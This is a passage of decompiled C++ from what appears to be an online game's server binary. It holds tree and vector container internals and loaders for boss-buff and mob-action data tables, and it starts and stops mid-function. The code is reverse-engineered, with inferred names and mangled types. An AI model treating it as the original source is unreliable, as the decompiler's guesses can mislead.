*(_BYTE *)(*(_DWORD *)&v7 + 36); *(_BYTE *)(*(_DWORD *)&v7 + 36) = 1; *(_BYTE *)(*(_DWORD *)(v15 + 8) + 36) = 1; std::_Tree_std::allocator_0>>::_Lrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); break; } } else { if ( !*(_BYTE *)(v15 + 36) ) { *(_BYTE *)(v15 + 36) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 36) = 0; std::_Tree_std::allocator_0>>::_Rrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); v15 = **(_DWORD **)&v7; } if ( *(_BYTE *)(v15 + 37) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 36) != 1 || *(_BYTE *)(*(_DWORD *)v15 + 36) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)v15 + 36) == 1 ) { *(_BYTE *)(*(_DWORD *)(v15 + 8) + 36) = 1; *(_BYTE *)(v15 + 36) = 0; std::_Tree_std::allocator_0>>::_Lrotate( v3, (std::_Tree_nod,std::allocator,0> >::_Node *)v15); v15 = **(_DWORD **)&v7; } *(_BYTE *)(v15 + 36) = *(_BYTE *)(*(_DWORD *)&v7 + 36); *(_BYTE *)(*(_DWORD *)&v7 + 36) = 1; *(_BYTE *)(*(_DWORD *)v15 + 36) = 1; std::_Tree_std::allocator_0>>::_Rrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); break; } } *(_BYTE *)(v15 + 36) = 0; LABEL_54: v5 = v7; v16 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7 == v3->_Myhead->_Parent; v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v7 + 4); } while ( !v16 ); } *(_BYTE *)(*(_DWORD *)&v5 + 36) = 1; } operator delete(*(void **)&_Erasednode); v17 = v3->_Mysize; if ( v17 ) v3->_Mysize = v17 - 1; v18 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Where; return v18; } // 5E86D8: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (00553CE0) -------------------------------------------------------- void __thiscall FamilyMobManagement::FamilyMob::_FamilyMob(KQContribute::PlayerList *this) { KQContribute::PlayerList *v1; // esi@1 v1 = this; if ( this->pl_PlayerList._Myfirst ) operator delete(this->pl_PlayerList._Myfirst); v1->pl_PlayerList._Myfirst = 0; v1->pl_PlayerList._Mylast = 0; v1->pl_PlayerList._Myend = 0; } //----- (00553D10) -------------------------------------------------------- int std::_Tree_std::allocator_0>>::insert(...) { BossFieldContent::ServentBuffBossTable::ServentBossTable *v3; // ebp@1 std::_Tree,std::allocator,0> > *v4; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v5; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // eax@1 bool v7; // cl@1 unsigned __int16 v8; // dx@2 BossFieldContent::ServentBuffBossTable::ServentBossTable *v9; // edx@7 int v10; // edx@9 std::pair,std::allocator,0> >::iterator,bool *v11; // eax@9 int v12; // ecx@12 char _Addleft; // [sp+Ch] [bp-4h]@1 v3 = _Val; v4 = this; v5 = this->_Myhead; v6 = v5->_Parent; v7 = 1; _Addleft = 1; if ( !v6->_Isnil ) { v8 = _Val->sbt_Buffer; do { v5 = v6; v7 = v8 < v6->_Myval.sbt_Buffer; _Addleft = v8 < v6->_Myval.sbt_Buffer; if ( v8 >= v6->_Myval.sbt_Buffer ) v6 = v6->_Right; else v6 = v6->_Left; } while ( !v6->_Isnil ); } v9 = (BossFieldContent::ServentBuffBossTable::ServentBossTable *)v5; _Val = (BossFieldContent::ServentBuffBossTable::ServentBossTable *)v5; if ( v7 ) { if ( v5 == v4->_Myhead->_Left ) { v10 = *(_DWORD *)&std::_Tree_std::allocator_0>>::_Insert( v4, (std::_Tree,std::allocator,0> >::iterator *)&_Val, 1, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; result->second = 1; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v10; return v11; } std::_Tree_std::allocator_0>>::const_iterator::_Dec((std::_Tree,std::allocator,0> >::const_iterator *)&_Val); v9 = _Val; } if ( LOWORD(v9->sbt_AbstateStrength) >= v3->sbt_Buffer ) { v11 = result; result->second = 0; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v9; } else { v12 = *(_DWORD *)&std::_Tree_std::allocator_0>>::_Insert( v4, (std::_Tree,std::allocator,0> >::iterator *)&_Val, _Addleft, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v12; result->second = 1; } return v11; } //----- (00553DD0) -------------------------------------------------------- std::pair,std::allocator,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator_0>>::insert(std::_Tree,std::allocator,0> > *this, std::pair,std::allocator,0> >::iterator,bool> *result, BossFieldContent::MobAutomaticAction *_Val) { BossFieldContent::MobAutomaticAction *v3; // ebp@1 std::_Tree,std::allocator,0> > *v4; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v5; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // eax@1 bool v7; // cl@1 unsigned __int16 v8; // dx@2 BossFieldContent::MobAutomaticAction *v9; // edx@7 int v10; // edx@9 std::pair,std::allocator,0> >::iterator,bool> *v11; // eax@9 int v12; // ecx@12 char _Addleft; // [sp+Ch] [bp-4h]@1 v3 = _Val; v4 = this; v5 = this->_Myhead; v6 = v5->_Parent; v7 = 1; _Addleft = 1; if ( !v6->_Isnil ) { v8 = _Val->maa_MobID; do { v5 = v6; v7 = v8 < v6->_Myval.maa_MobID; _Addleft = v8 < v6->_Myval.maa_MobID; if ( v8 >= v6->_Myval.maa_MobID ) v6 = v6->_Right; else v6 = v6->_Left; } while ( !v6->_Isnil ); } v9 = (BossFieldContent::MobAutomaticAction *)v5; _Val = (BossFieldContent::MobAutomaticAction *)v5; if ( v7 ) { if ( v5 == v4->_Myhead->_Left ) { v10 = *(_DWORD *)&std::_Tree_std::allocator_0>>::_Insert( v4, (std::_Tree,std::allocator,0> >::iterator *)&_Val, 1, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; result->second = 1; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v10; return v11; } std::_Tree_std::allocator_0>>::const_iterator::_Dec((std::_Tree,std::allocator,0> >::const_iterator *)&_Val); v9 = _Val; } if ( LOWORD(v9->maa_Abstate.Strength) >= v3->maa_MobID ) { v11 = result; result->second = 0; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v9; } else { v12 = *(_DWORD *)&std::_Tree_std::allocator_0>>::_Insert( v4, (std::_Tree,std::allocator,0> >::iterator *)&_Val, _Addleft, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v12; result->second = 1; } return v11; } //----- (00553E90) -------------------------------------------------------- bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity) { std::vector > *v2; // esi@1 bool result; // al@2 void *v4; // eax@5 v2 = this; this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( _Capacity ) { if ( _Capacity > 0x3FFFFFFF ) std::vector>::_Xlen((std::vector > *)this); v4 = operator new(4 * _Capacity); v2->_Myend = (ABSTATEINDEX *)((char *)v4 + 4 * _Capacity); v2->_Myfirst = (ABSTATEINDEX *)v4; v2->_Mylast = (ABSTATEINDEX *)v4; result = 1; } else { result = 0; } return result; } //----- (00553EE0) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, const int *_Val) { std::vector > *v4; // esi@1 int *v5; // edx@1 signed int v6; // eax@2 unsigned int v7; // edi@4 signed int v8; // ecx@6 int v9; // ecx@11 int v10; // eax@15 int v11; // ecx@18 int v12; // eax@22 void *v13; // eax@25 unsigned int v14; // ebp@25 int v15; // eax@25 #325 **v16; // eax@25 int *v17; // eax@25 int v18; // ecx@26 int v19; // edi@28 int v20; // ebp@31 std::vector >::iterator v21; // ebx@31 int v22; // edx@31 unsigned int v23; // eax@31 int v24; // ecx@32 #325 **v25; // edi@33 void *_Newvec; // [sp+0h] [bp-4h]@25 unsigned int _Wherea; // [sp+8h] [bp+4h]@31 int _Counta; // [sp+Ch] [bp+8h]@25 v4 = this; v5 = this->_Myfirst; _Val = (const int *)*_Val; if ( v5 ) v6 = this->_Myend - v5; else v6 = 0; v7 = _Count; if ( _Count ) { if ( v5 ) v8 = this->_Mylast - v5; else v8 = 0; if ( 1073741823 - v8 < _Count ) std::vector>::_Xlen(v4); if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( v6 >= _Count + v9 ) { v20 = (int)v4->_Mylast; v21 = _Where; v22 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2; v23 = 4 * _Count; _Wherea = 4 * _Count; if ( v22 >= _Count ) { v25 = (#325 **)(v20 - v23); v4->_Mylast = (int *)std::vector>::_Ucopy( (char *)(v20 - v23), v20, (char *)v20); std::copy_backward( *(#325 ***)&v21, v25, (#325 **)v20); std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(*(_DWORD *)&v21 + _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } else { std::vector>::_Ucopy( *(char **)&v21, v20, (char *)(*(_DWORD *)&v21 + v23)); std::vector>::_Ufill( (std::vector > *)v4, (#325 **)v4->_Mylast, _Count - ((signed int)((char *)v4->_Mylast - *(_DWORD *)&v21) >> 2)); v24 = (int)&v4->_Mylast[_Wherea / 4]; v4->_Mylast = (int *)v24; std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(v24 - _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } } else { if ( 1073741823 - ((unsigned int)v6 >> 1) >= v6 ) v10 = ((unsigned int)v6 >> 1) + v6; else v10 = 0; if ( v5 ) v11 = v4->_Mylast - v5; else v11 = 0; if ( v10 < _Count + v11 ) { if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; v10 = _Count + v12; } _Counta = 4 * v10; v13 = operator new(4 * v10); v14 = 4 * ((signed int)(*(_DWORD *)&_Where - (unsigned int)v4->_Myfirst) >> 2); _Newvec = v13; memmove((char *)v13, (char *)v4->_Myfirst, v14); v16 = std::vector>::_Ufill( (std::vector > *)v4, (#325 **)(v14 + v15), v7); memmove((char *)v16, *(char **)&_Where, 4 * ((signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2)); v17 = v4->_Myfirst; if ( v17 ) v18 = v4->_Mylast - v17; else v18 = 0; v19 = v18 + v7; if ( v17 ) operator delete(v4->_Myfirst); v4->_Myend = (int *)((char *)_Newvec + _Counta); v4->_Mylast = (int *)((char *)_Newvec + 4 * v19); v4->_Myfirst = (int *)_Newvec; } } } //----- (005540C0) -------------------------------------------------------- int std::_Tree_std::allocator_0>>::erase(...) { std::_Tree,std::allocator,0> >::iterator v4; // ebx@1 std::_Tree,std::allocator,0> >::iterator v5; // esi@1 std::_Tree,std::allocator,0> > *v6; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v7; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@3 std::_Tree,std::allocator,0> >::iterator *v9; // eax@3 std::_Tree,std::allocator,0> >::iterator v10; // ecx@5 int v11; // eax@6 std::_Tree,std::allocator,0> >::iterator j; // eax@7 std::_Tree,std::allocator,0> >::iterator i; // eax@10 v4 = _Last; v5 = _First; v6 = this; v7 = this->_Myhead; if ( (std::_Tree_nod,std::allocator,0> >::_Node *)_First != v7->_Left || (std::_Tree_nod,std::allocator,0> >::_Node *)_Last != v7 ) { if ( _First != _Last ) { do { v10 = v5; if ( !*(_BYTE *)(*(_DWORD *)&v5 + 29) ) { v11 = *(_DWORD *)(*(_DWORD *)&v5 + 8); if ( *(_BYTE *)(v11 + 29) ) { for ( i = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v5 + 4); !*(_BYTE *)(*(_DWORD *)&i + 29); i = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&i + 4) ) { if ( v5 != *(_DWORD *)(*(_DWORD *)&i + 8) ) break; v5 = i; } v5 = i; } else { v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v5 + 8); for ( j = *(std::_Tree,std::allocator,0> >::iterator *)v11; !*(_BYTE *)(*(_DWORD *)&j + 29); j = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)&j ) v5 = j; } } std::_Tree_std::allocator_0>>::erase( v6, &_First, v10); } while ( v5 != v4 ); } v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; } else { std::_Tree_std::allocator_0>>::_Erase( this, v7->_Parent); v6->_Myhead->_Parent = v6->_Myhead; v8 = v6->_Myhead; v6->_Mysize = 0; v8->_Left = v8; v6->_Myhead->_Right = v6->_Myhead; v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6->_Myhead->_Left; } return v9; } //----- (00554180) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, ABSTATEINDEX *_Val) { std::vector > *v4; // esi@1 ABSTATEINDEX *v5; // edx@1 ABSTATEINDEX v6; // ecx@1 int v7; // eax@2 unsigned int v8; // ebx@4 int v9; // ecx@6 int v10; // ecx@11 int v11; // eax@15 int v12; // ecx@18 int v13; // eax@22 void *v14; // edi@25 std::list,std::allocator > >::iterator *v15; // ST14_4@25 ABSTATEINDEX *v16; // ecx@25 int v17; // eax@26 int v18; // ebx@28 std::list,std::allocator > >::iterator *v19; // eax@31 std::vector >::iterator v20; // edi@31 bool v21; // cf@31 unsigned int v22; // ecx@31 unsigned int v23; // ST24_4@32 std::list,std::allocator > >::iterator *v24; // ST20_4@32 int v25; // ebx@32 std::list,std::allocator > >::iterator *v26; // ebx@33 std::_Nonscalar_ptr_iterator_tag v27; // [sp-10h] [bp-28h]@31 int v28; // [sp-Ch] [bp-24h]@1 void *_Newvec; // [sp+0h] [bp-18h]@25 int v30; // [sp+4h] [bp-14h]@25 int *v31; // [sp+8h] [bp-10h]@1 int v32; // [sp+14h] [bp-4h]@25 unsigned int _Wherea; // [sp+20h] [bp+8h]@31 std::list,std::allocator > >::iterator *_Countb; // [sp+24h] [bp+Ch]@25 std::list,std::allocator > >::iterator *_Counta; // [sp+24h] [bp+Ch]@31 v4 = this; v5 = this->_Myfirst; v6 = *_Val; v31 = &v28; _Val = (ABSTATEINDEX *)v6; if ( v5 ) v7 = v4->_Myend - v5; else v7 = 0; v8 = _Count; if ( _Count ) { if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( 1073741823 - v9 < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v5 ) v10 = v4->_Mylast - v5; else v10 = 0; if ( v7 >= _Count + v10 ) { v19 = (std::list,std::allocator > >::iterator *)v4->_Mylast; v20 = _Where; v21 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2 < _Count; v22 = 4 * _Count; _Wherea = 4 * _Count; v27.dummy[0] = 4 * _Count; _Counta = (std::list,std::allocator > >::iterator *)v4->_Mylast; if ( v21 ) { std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( *(std::list,std::allocator > >::iterator **)&v20, v19, (std::list,std::allocator > >::iterator *)(*(_DWORD *)&v20 + v22), (std::allocator,std::allocator > >::iterator> *)v4, v27); v23 = v8 - ((signed int)((char *)v4->_Mylast - *(_DWORD *)&v20) >> 2); v24 = (std::list,std::allocator > >::iterator *)v4->_Mylast; v32 = 2; std::vector>::_Ufill( (std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator *)&_Val); v25 = (int)&v4->_Mylast[_Wherea / 4]; v4->_Mylast = (ABSTATEINDEX *)v25; std::fill( *(std::list,std::allocator > >::iterator **)&v20, (std::list,std::allocator > >::iterator *)(v25 - _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } else { v26 = &v19[-v22 / 4u]; v4->_Mylast = (ABSTATEINDEX *)std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( &v19[-v22 / 4u], v19, v19, (std::allocator,std::allocator > >::iterator> *)v4, v27); std::copy_backward_std::allocator>>::iterator___std::list_std::allocator>>::iterator__>( *(std::list,std::allocator > >::iterator **)&v20, v26, _Counta); std::fill( *(std::list,std::allocator > >::iterator **)&v20, (std::list,std::allocator > >::iterator *)(*(_DWORD *)&v20 + _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } } else { if ( 1073741823 - ((unsigned int)v7 >> 1) >= v7 ) v11 = ((unsigned int)v7 >> 1) + v7; else v11 = 0; if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; if ( v11 < _Count + v12 ) { if ( v5 ) v13 = v4->_Mylast - v5; else v13 = 0; v11 = _Count + v13; } v30 = 4 * v11; v14 = operator new(4 * v11); v15 = (std::list,std::allocator > >::iterator *)v4->_Myfirst; _Newvec = v14; v32 = 0; _Countb = std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( v15, *(std::list,std::allocator > >::iterator **)&_Where, (std::list,std::allocator > >::iterator *)v14, (std::allocator,std::allocator > >::iterator> *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n_std::allocator>>::iterator___unsigned_int_std::list_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>( _Countb, v8, (std::list,std::allocator > >::iterator *)&_Val, (std::allocator,std::allocator > >::iterator> *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( *(std::list,std::allocator > >::iterator **)&_Where, (std::list,std::allocator > >::iterator *)v4->_Mylast, &_Countb[v8], (std::allocator,std::allocator > >::iterator> *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v16 = v4->_Myfirst; if ( v16 ) v17 = v4->_Mylast - v16; else v17 = 0; v18 = v17 + v8; if ( v16 ) operator delete(v4->_Myfirst); v4->_Myend = (ABSTATEINDEX *)((char *)v14 + v30); v4->_Mylast = (ABSTATEINDEX *)((char *)v14 + 4 * v18); v4->_Myfirst = (ABSTATEINDEX *)v14; } } } //----- (005543C0) -------------------------------------------------------- int std::_Tree_std::allocator_0>>::erase(...) { std::_Tree,std::allocator,0> >::iterator v4; // ebx@1 std::_Tree,std::allocator,0> >::iterator v5; // esi@1 std::_Tree,std::allocator,0> > *v6; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v7; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@3 std::_Tree,std::allocator,0> >::iterator *v9; // eax@3 std::_Tree,std::allocator,0> >::iterator v10; // ecx@5 int v11; // eax@6 std::_Tree,std::allocator,0> >::iterator j; // eax@7 std::_Tree,std::allocator,0> >::iterator i; // eax@10 v4 = _Last; v5 = _First; v6 = this; v7 = this->_Myhead; if ( (std::_Tree_nod,std::allocator,0> >::_Node *)_First != v7->_Left || (std::_Tree_nod,std::allocator,0> >::_Node *)_Last != v7 ) { if ( _First != _Last ) { do { v10 = v5; if ( !*(_BYTE *)(*(_DWORD *)&v5 + 37) ) { v11 = *(_DWORD *)(*(_DWORD *)&v5 + 8); if ( *(_BYTE *)(v11 + 37) ) { for ( i = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v5 + 4); !*(_BYTE *)(*(_DWORD *)&i + 37); i = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&i + 4) ) { if ( v5 != *(_DWORD *)(*(_DWORD *)&i + 8) ) break; v5 = i; } v5 = i; } else { v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v5 + 8); for ( j = *(std::_Tree,std::allocator,0> >::iterator *)v11; !*(_BYTE *)(*(_DWORD *)&j + 37); j = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)&j ) v5 = j; } } std::_Tree_std::allocator_0>>::erase( v6, &_First, v10); } while ( v5 != v4 ); } v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; } else { std::_Tree_std::allocator_0>>::_Erase( this, v7->_Parent); v6->_Myhead->_Parent = v6->_Myhead; v8 = v6->_Myhead; v6->_Mysize = 0; v8->_Left = v8; v6->_Myhead->_Right = v6->_Myhead; v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6->_Myhead->_Left; } return v9; } //----- (00554480) -------------------------------------------------------- void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right) { std::vector > *v2; // esi@1 ABSTATEINDEX *v3; // ecx@1 signed int v4; // eax@2 int v5; // edi@7 void *v6; // eax@7 ABSTATEINDEX *v7; // ecx@7 ABSTATEINDEX *v8; // ST00_4@7 int v9; // [sp-Ch] [bp-20h]@1 std::vector,std::allocator > >::iterator,std::allocator,std::allocator_Myfirst; v11 = &v9; thisa = (std::vector,std::allocator > >::iterator,std::allocator,std::allocator_Mylast - v3; else v4 = 0; v2->_Myfirst = 0; v2->_Mylast = 0; v2->_Myend = 0; if ( v4 ) { if ( (unsigned int)v4 > 0x3FFFFFFF ) std::vector>::_Xlen((std::vector > *)v2); v5 = 4 * v4; v6 = operator new(4 * v4); v2->_Myfirst = (ABSTATEINDEX *)v6; v2->_Mylast = (ABSTATEINDEX *)v6; v2->_Myend = (ABSTATEINDEX *)((char *)v6 + v5); v7 = _Right->_Mylast; v8 = _Right->_Myfirst; v12 = 0; v2->_Mylast = (ABSTATEINDEX *)std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( (std::list,std::allocator > >::iterator *)v8, (std::list,std::allocator > >::iterator *)v7, (std::list,std::allocator > >::iterator *)v6, (std::allocator,std::allocator > >::iterator> *)v2, (std::_Nonscalar_ptr_iterator_tag)_Right); } } //----- (00554540) -------------------------------------------------------- void *__thiscall std::vector>::operator_(void *_Al, int __formal) { void *v2; // esi@1 ABSTATEINDEX *v3; // ebx@2 int v4; // edx@2 int v5; // ecx@3 void *result; // eax@6 int v7; // eax@7 int v8; // edx@8 int v9; // eax@11 int v10; // edx@15 int v11; // edx@19 ABSTATEINDEX *v12; // ebx@21 int v13; // ecx@24 int v14; // eax@25 v2 = _Al; if ( _Al == (void *)__formal ) return v2; v3 = *(ABSTATEINDEX **)(__formal + 4); v4 = 0; if ( !v3 || (v5 = (*(_DWORD *)(__formal + 8) - (signed int)v3) >> 2) == 0 ) { if ( *((_DWORD *)v2 + 1) ) { operator delete(*((void **)v2 + 1)); v4 = 0; } *((_DWORD *)v2 + 1) = v4; *((_DWORD *)v2 + 2) = v4; *((_DWORD *)v2 + 3) = v4; return v2; } v7 = *((_DWORD *)v2 + 1); if ( v7 ) v8 = (*((_DWORD *)v2 + 2) - v7) >> 2; else v8 = 0; if ( v5 <= (unsigned int)v8 ) { std::copy( v3, *(ABSTATEINDEX **)(__formal + 8), *((ABSTATEINDEX **)v2 + 1)); v9 = *(_DWORD *)(__formal + 4); if ( v9 ) { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1) + 4 * ((*(_DWORD *)(__formal + 8) - v9) >> 2); result = v2; } else { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1); result = v2; } return result; } if ( v7 ) v10 = (*((_DWORD *)v2 + 3) - v7) >> 2; else v10 = 0; if ( v5 > (unsigned int)v10 ) { if ( v7 ) operator delete(*((void **)v2 + 1)); v13 = *(_DWORD *)(__formal + 4); if ( v13 ) v14 = (*(_DWORD *)(__formal + 8) - v13) >> 2; else v14 = 0; if ( std::vector>::_Buy( (std::vector > *)v2, v14) ) *((_DWORD *)v2 + 2) = std::vector>::_Ucopy( (std::allocator,std::allocator > >::iterator> *)v2, *(std::list,std::allocator > >::iterator **)(__formal + 4), *(std::list,std::allocator > >::iterator **)(__formal + 8), *((std::list,std::allocator > >::iterator **)v2 + 1)); return v2; } if ( v7 ) v11 = (*((_DWORD *)v2 + 2) - v7) >> 2; else v11 = 0; v12 = (ABSTATEINDEX *)(*(_DWORD *)(__formal + 4) + 4 * v11); std::copy( *(ABSTATEINDEX **)(__formal + 4), v12, *((ABSTATEINDEX **)v2 + 1)); *((_DWORD *)v2 + 2) = std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( (std::list,std::allocator > >::iterator *)v12, *(std::list,std::allocator > >::iterator **)(__formal + 8), *((std::list,std::allocator > >::iterator **)v2 + 2), (std::allocator,std::allocator > >::iterator> *)v2, (std::_Nonscalar_ptr_iterator_tag)__formal); return v2; } //----- (00554690) -------------------------------------------------------- void __thiscall BossFieldContent::ServentBuffBossTable::sbbt_Load(BossFieldContent::ServentBuffBossTable *this) { unsigned int v1; // eax@1 unsigned int v2; // ecx@1 void *v3; // esi@5 unsigned int v4; // edi@13 MobDataBox::MobDataBoxIndex *v5; // eax@16 unsigned int k; // [sp+0h] [bp-DCh]@1 std::_Tree,std::allocator,0> > *thisa; // [sp+4h] [bp-D8h]@1 BossFieldContent::ServentBuffBossTable::ServentBossTable tmp; // [sp+8h] [bp-D4h]@7 FunctionEntarance _; // [sp+18h] [bp-C4h]@1 std::pair,std::allocator,0> >::iterator,bool result; // [sp+1Ch] [bp-C0h]@16 BinaryDataBox sm; // [sp+24h] [bp-B8h]@1 unsigned int cookie; // [sp+C8h] [bp-14h]@17 int v13; // [sp+D8h] [bp-4h]@1 thisa = (std::_Tree,std::allocator,0> > *)this; _.fe_FunctionCode = "BossFieldContent::ServentBuffBossTable::sbbt_Load"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "BossFieldContent::ServentBuffBossTable::sbbt_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "BossFieldContent::ServentBuffBossTable::sbbt_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v13 = 0; CCharacterTitleData::CCharacterTitleData(&sm.baseclass_0); memset(&sm.bdb_defaultblock, 0, sizeof(sm.bdb_defaultblock)); LOBYTE(v13) = 1; BinaryDataBox::bdb_ReadData(&sm, "../9Data/Shine/StateMob.shn"); v1 = sm.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v2 = 0; k = 0; if ( (signed int)v1 > 0 ) { while ( 1 ) { if ( v2 < v1 ) v3 = CDataReader::GetRecord(&sm.baseclass_0.baseclass_0, v2); else v3 = &sm.bdb_defaultblock; tmp.sbt_Buffer = MobDataBox::mdb_2MobID(&mobdatabox, (const char *)v3 + 32); if ( tmp.sbt_Buffer == -1 ) { AssertClass::ac_AssertFail( &shineassert, "ServentBuffBossTable::sbbt_Load : ConditionMob not found", (const char *)v3 + 32); ShineExit("ServentBuffBossTable::sbbt_Load"); } tmp.sbt_Buffee = MobDataBox::mdb_2MobID(&mobdatabox, (const char *)v3); if ( tmp.sbt_Buffee == -1 ) { AssertClass::ac_AssertFail( &shineassert, "ServentBuffBossTable::sbbt_Load : TargetMob not found", (const char *)v3); ShineExit("ServentBuffBossTable::sbbt_Load"); } v4 = BTree::operator__(&unk_615CF4, (const char *)v3 + 64); if ( v4 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "ServentBuffBossTable::sbbt_Load : Abstate not fount", (const char *)v3 + 64); ShineExit("FieldContainer::fc_AbstateInFieldLoad"); } tmp.sbt_AbstateIndex = v4; tmp.sbt_Dictionary = AbnormalStateDictionary::AbState::as_FromIndex(&dic_abstate, (ABSTATEINDEX)v4); tmp.sbt_AbstateStrength = *((_DWORD *)v3 + 24); v5 = MobDataBox::operator__(&mobdatabox, tmp.sbt_Buffer); v5->MobIndexFlag._bf0 |= 1u; std::_Tree_std::allocator_0>>::insert( thisa, &result, &tmp); v1 = sm.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; ++k; if ( (signed int)k >= (signed int)v1 ) break; v2 = k; } } LOBYTE(v13) = 0; CCharacterTitleData::_CCharacterTitleData(&sm.baseclass_0); --funcallanalizer.fca_stackpoint; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "BossFieldContent::ServentBuffBossTable::sbbt_Load"); __security_check_cookie(cookie); } //----- (005548D0) -------------------------------------------------------- void __thiscall BossFieldContent::MobAutomaticActionList::maal_Load(BossFieldContent::MobAutomaticActionList *this) { unsigned int v1; // eax@1 unsigned int v2; // edi@1 bool v3; // cf@2 void *v4; // esi@4 MobDataBox::MobDataBoxIndex *v5; // eax@9 int v6; // eax@11 unsigned int v7; // ebx@14 int v8; // eax@17 int v9; // ecx@17 int v10; // edx@17 int v11; // edi@17 unsigned int v12; // eax@17 std::_Tree,std::allocator,0> > *thisa; // [sp+0h] [bp-D0h]@1 std::pair,std::allocator,0> >::iterator,bool> k; // [sp+4h] [bp-CCh]@1 BossFieldContent::MobAutomaticAction key; // [sp+Ch] [bp-C4h]@6 FunctionEntarance _; // [sp+24h] [bp-ACh]@1 BinaryDataBox maa; // 